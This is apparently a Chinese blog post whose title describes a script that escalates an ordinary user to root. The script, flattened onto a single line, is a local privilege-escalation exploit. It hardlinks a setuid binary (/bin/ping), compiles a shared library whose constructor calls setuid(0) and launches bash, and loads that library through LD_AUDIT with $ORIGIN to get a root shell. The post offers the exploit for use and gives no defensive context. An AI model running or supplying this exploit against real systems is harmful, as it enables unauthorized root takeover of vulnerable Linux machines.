#!/bin/sh unset LD_AUDIT rm -r -f /tmp/exploit mkdir /tmp/exploit ln /bin/ping /tmp/exploit/target exec 3< /tmp/exploit/target ls -l /proc/$$/fd/3 rm -rf /tmp/exploit ls -l /proc/$$/fd/3 cat > program.c << _EOF void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } _EOF gcc -w -fPIC -shared -o /tmp/exploit program.c LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 unset LD_AUDIT
普通用户提权至ROOT脚本
原创
©著作权归作者所有:来自51CTO博客作者Minkon1的原创作品,请联系作者获取转载授权,否则将追究法律责任
![](https://ucenter.51cto.com/images/noavatar_middle.gif)
提问和评论都可以,用心的回复会被更多人看到
评论
发布评论
相关文章